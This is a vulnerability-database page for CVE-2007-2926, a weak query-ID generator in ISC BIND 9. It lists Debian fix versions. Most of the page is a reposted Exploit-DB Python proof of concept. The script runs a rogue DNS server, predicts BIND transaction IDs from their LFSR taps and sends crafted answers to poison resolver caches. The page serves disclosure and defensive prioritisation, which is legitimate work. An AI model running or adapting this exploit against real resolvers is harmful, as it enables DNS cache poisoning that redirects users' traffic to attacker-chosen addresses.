CVE-2007-2926

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

ISC BIND 9 through 9.5.0a5 uses a weak random number generator during generation of DNS query ids when answering resolver questions or sending NOTIFY messages to slave name servers, which makes it easier for remote attackers to guess the next query id and perform DNS cache poisoning.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-4266 remote multiple verified python · 7 KB
posedge · 2007-08-07

BIND 9 0.3beta - DNS Cache Poisoning

python exploit Source: Exploit-DB
#!/usr/bin/env python

"""
DNS Cache Poison v0.3beta by posedge
based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html

output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>

id: ID to predict
q: number of queries from the DNS server (only queries with LSB at 0 in ID)
g: number of good predicted IDs
e: number of errors while trying to predict a *supposed to be* predicted ID
"""

import socket, select, sys, time
from struct import unpack, pack
from socket import htons

_ANSWER_TIME_LIMIT = 1.0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
               [<your_dns2_hostname>, <your_dns2_ip>], \
               [<etc>, <etc>]]

class BINDSimplePredict:
  def __init__(self, txid, bind_9_2_3___9_4_1=True):
    self.txid = txid
    self.cand = []
    if bind_9_2_3___9_4_1 == True:
      # For BIND9 v9.2.3-9.4.1:
      self.tap1=0x80000057
      self.tap2=0x80000062
    else:
      # For BIND9 v9.0.0-9.2.2:
      self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
      self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
    self.next = self.run()
    return

  def run(self):

    if (self.txid & 1) != 0:
      #print "info: LSB is not 0. Can't predict the next transaction ID."
      return False
  
    #print "info: LSB is 0, predicting..."
  
    # One bit shift (assuming the two lsb's are 0 and 0)
    for msb in xrange(0, 2):
      self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
  
    # Two bit shift (assuming the two lsb's are 1 and 1)
    # First shift (we know the lsb is 1 in both LFSRs):
    v=self.txid
    v=(v>>1)^self.tap1^self.tap2
    if (v & 1) == 0:
      # After the first shift, the lsb becomes 0, so the two LFSRs now have
      # identical lsb's: 0 and 0 or 1 and 1
      # Second shift:
      v1=(v>>1) # 0 and 0
      v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
    else:
      # After the first shift, the lsb becomes 1, so the two LFSRs now have
      # different lsb's: 1 and 0 or 0 and 1
      # Second shift:
      v1=(v>>1)^self.tap1 # 1 and 0
      v2=(v>>1)^self.tap2 # 0 and 1
  
    # Also need to enumerate over the 2 msb's we are clueless about
    for msbits in xrange(0, 4):
      self.cand.append(((msbits<<14)|v1) & 0xFFFF)
      self.cand.append(((msbits<<14)|v2) & 0xFFFF)

    return True;
  
class DNSData:
  def __init__(self, data):
    self.data=data
    self.name=''

    for i in xrange(12, len(data)):
      self.name+=data[i]
      if data[i] == '\x00':
        break
    q_type = unpack(">H", data[i+1:i+3])[0]
    if q_type != 1: # only type: A (host address) allowed.
      self.name = None
    return

  def response(self, ip=None):
    packet=''
    packet+=self.data[0:2] # id
    packet+="\x84\x10" # flags
    packet+="\x00\x01" # questions
    packet+="\x00\x01" # answer RRS
    packet+="\x00\x00" # authority RRS
    packet+="\x00\x00" # additional RRS
    packet+=self.name # queries: name
    packet+="\x00\x01" # queries: type (A)
    packet+="\x00\x01" # queries: class (IN)
    packet+="\xc0\x0c" # answers: name
    if ip == None:
      packet+="\x00\x05" # answers: type (CNAME)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+=pack(">H", len(self.name)+2) # answers: data length
      packet+="\x01" + "x" + self.name # answers: primary name
    else:
      packet+="\x00\x01" # answers: type (A)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+="\x00\x04" # answers: data length
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP
    #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional
    return packet

class DNSServer:
  def __init__(self):
    self.is_r = []
    self.is_w = []
    self.is_e = []
    self.targets = []
    self.named_conf = []
    
    for i in xrange(len(_NAMED_CONF)):
      start = 0
      tmp = ''
      for j in xrange(len(_NAMED_CONF[i][0])):
        if _NAMED_CONF[i][0][j] == '.':
          tmp += chr(j - start)
          tmp += _NAMED_CONF[i][0][start:j]
          start = j + 1
      tmp += chr(j - start + 1)
      tmp += _NAMED_CONF[i][0][start:] + "\x00"
      self.named_conf.append([tmp, _NAMED_CONF[i][1]])
    return

  def run(self):
    self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    self.s.bind(('',53))
    self.is_r.append(self.s)
    next = False
    i = 0

    while 1:
      r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
      if r:
        try:
          data, addr = self.s.recvfrom(1024)
        except socket.error:
          continue

        txid = unpack(">H", data[0:2])[0]
        p=DNSData(data)
        if p.name == None:
          continue

        found = False

        for j in xrange(len(self.named_conf)):
          if p.name == self.named_conf[j][0]:
            found = True
            break

        if found == True:
          self.s.sendto(p.response(self.named_conf[j][1]), addr)
          continue

        # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list...
        for i in xrange(len(self.targets)):
          if self.targets[i][0] == addr[0]:
            break
        if i == len(self.targets):
          self.targets.append([addr[0], False, time.time(), [None, None], \
            None, 0, 0, 0])

        if self.targets[i][1] == False:
          bsp = BINDSimplePredict(txid)
          self.targets[i][1] = bsp.next
          self.targets[i][3][0] = bsp.cand
          bsp = BINDSimplePredict(txid, False)
          self.targets[i][3][1] = bsp.cand
        else:
          if p.name == self.targets[i][4]:
            elapsed = time.time() - self.targets[i][2]
            if elapsed > _ANSWER_TIME_LIMIT:
              print 'info: slow answer, discarding (%.2f sec)' % elapsed
            else:
              self.targets[i][5] += 1
              found_v1 = False
              found_v2 = False
              for j in xrange(10):
                if self.targets[i][3][0][j] == txid:
                  found_v1 = True
                  break
                if self.targets[i][3][1][j] == txid:
                  found_v2 = True
                  break

              if found_v1 == True or found_v2 == True:
                self.targets[i][6] += 1
              else:
                self.targets[i][7] += 1

              # TODO: if found_v1 or found_v2 is True, then show bind version!
              print "\n" + str(i) + ' target:', self.targets
              print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \
                addr[0], addr[1], txid, self.targets[i][5], \
                self.targets[i][6], self.targets[i][7])
              self.targets[i][1] = False
        self.targets[i][2] = time.time()
        self.targets[i][4] = "\x01" + "x" + p.name
        self.s.sendto(p.response(), addr)
    return

  def close(self):
    self.s.close()
    return

if __name__ == '__main__':
  dns_srv = DNSServer()

  try:
    dns_srv.run()
  except KeyboardInterrupt:
    print 'ctrl-c, leaving...'
    dns_srv.close()

# milw0rm.com [2007-08-07]

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1:9.4.1-P1-1
sid Fixed 1:9.4.1-P1-1
forky Fixed 1:9.4.1-P1-1
bullseye Fixed 1:9.4.1-P1-1
bookworm Fixed 1:9.4.1-P1-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.